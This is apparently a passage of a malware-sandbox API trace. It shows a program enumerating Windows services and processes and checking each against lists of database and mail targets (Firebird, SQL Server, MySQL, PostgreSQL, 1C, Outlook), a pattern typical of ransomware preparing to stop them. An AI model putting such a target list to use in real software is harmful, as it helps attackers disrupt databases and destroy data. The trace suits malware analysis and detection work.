	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0056.520] lstrlenW (lpString="iphlpsvc") returned 8
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.520] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0056.520] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0056.520] lstrlenW (lpString="KeyIso") returned 6
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0056.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0056.520] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0056.520] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0056.520] lstrlenW (lpString="LanmanServer") returned 12
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0056.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0056.520] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0056.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0056.520] lstrlenW (lpString="lfsvc") returned 5
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0056.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0056.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0056.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0056.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0056.520] lstrlenW (lpString="lmhosts") returned 7
	[0056.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0056.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0056.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0056.521] lstrlenW (lpString="LSM") returned 3
	[0056.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0056.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0056.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0056.521] lstrlenW (lpString="MapsBroker") returned 10
	[0056.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0056.521] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0056.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0056.521] lstrlenW (lpString="MpsSvc") returned 6
	[0056.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0056.521] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0056.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0056.521] lstrlenW (lpString="NcbService") returned 10
	[0056.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0056.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0056.521] lstrlenW (lpString="netprofm") returned 8
	[0056.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0056.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0056.521] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0056.522] lstrlenW (lpString="NgcSvc") returned 6
	[0056.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0056.522] lstrlenW (lpString="NlaSvc") returned 6
	[0056.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0056.522] lstrlenW (lpString="nsi") returned 3
	[0056.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0056.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0056.522] lstrlenW (lpString="PcaSvc") returned 6
	[0056.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0056.522] lstrlenW (lpString="PlugPlay") returned 8
	[0056.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0056.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0056.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0056.523] lstrlenW (lpString="Power") returned 5
	[0056.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0056.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0056.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0056.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0056.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0056.523] lstrlenW (lpString="ProfSvc") returned 7
	[0056.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.523] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0057.550] lstrlenW (lpString="RpcEptMapper") returned 12
	[0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0057.550] lstrlenW (lpString="RpcSs") returned 5
	[0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0057.550] lstrlenW (lpString="SamSs") returned 5
	[0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0057.550] lstrlenW (lpString="Schedule") returned 8
	[0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0057.551] lstrlenW (lpString="SecurityHealthService") returned 21
	[0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0057.551] lstrlenW (lpString="SENS") returned 4
	[0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0057.551] lstrlenW (lpString="ShellHWDetection") returned 16
	[0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0057.551] lstrlenW (lpString="Spooler") returned 7
	[0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0057.551] lstrlenW (lpString="StateRepository") returned 15
	[0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0057.552] lstrlenW (lpString="SysMain") returned 7
	[0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0057.552] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0057.552] lstrlenW (lpString="Themes") returned 6
	[0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0057.552] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0057.553] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1
	[0057.553] lstrlenW (lpString="TokenBroker") returned 11
	[0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1
	[0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1
	[0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1
	[0057.553] lstrlenW (lpString="TrkWks") returned 6
	[0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0057.553] lstrlenW (lpString="UserManager") returned 11
	[0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1
	[0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1
	[0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1
	[0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1
	[0057.553] lstrlenW (lpString="UsoSvc") returned 6
	[0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UsoSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UsoSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="UsoSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="UsoSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UsoSvc") returned -1
	[0057.554] lstrlenW (lpString="VaultSvc") returned 8
	[0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1
	[0057.554] lstrlenW (lpString="Wcmsvc") returned 6
	[0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1
	[0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1
	[0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1
	[0057.554] lstrlenW (lpString="WdiServiceHost") returned 14
	[0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0057.554] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.555] lstrlenW (lpString="Winmgmt") returned 7
	[0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0057.555] lstrlenW (lpString="WpnService") returned 10
	[0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1
	[0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnService") returned -1
	[0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnService") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnService") returned -1
	[0057.555] lstrlenW (lpString="wuauserv") returned 8
	[0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1
	[0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1
	[0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1
	[0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1
	[0057.555] lstrlenW (lpString="CDPUserSvc_13047") returned 16
	[0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPUserSvc_13047") returned 1
	[0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPUserSvc_13047") returned 1
	[0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPUserSvc_13047") returned 1
	[0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPUserSvc_13047") returned 1
	[0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPUserSvc_13047") returned 1
	[0057.556] lstrlenW (lpString="OneSyncSvc_13047") returned 16
	[0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="OneSyncSvc_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="OneSyncSvc_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="OneSyncSvc_13047") returned 1
	[0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="OneSyncSvc_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="OneSyncSvc_13047") returned 1
	[0057.556] lstrlenW (lpString="WpnUserService_13047") returned 20
	[0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnUserService_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnUserService_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnUserService_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnUserService_13047") returned -1
	[0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnUserService_13047") returned -1
	[0057.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d260 | out: hHeap=0x4f0000) returned 1
	[0057.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b8
	[0057.567] Process32FirstW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0057.568] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0057.568] lstrlenW (lpString="System") returned 6
	[0057.568] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0057.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0057.569] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0057.569] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0057.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0057.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0057.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0057.569] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0057.569] lstrlenW (lpString="smss.exe") returned 8
	[0057.569] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0057.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0057.569] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0057.570] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0057.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0057.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0057.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0057.570] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.571] lstrlenW (lpString="csrss.exe") returned 9
	[0057.571] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0057.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0057.571] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0057.571] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0057.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0057.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0057.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0057.571] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0057.572] lstrlenW (lpString="wininit.exe") returned 11
	[0057.572] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
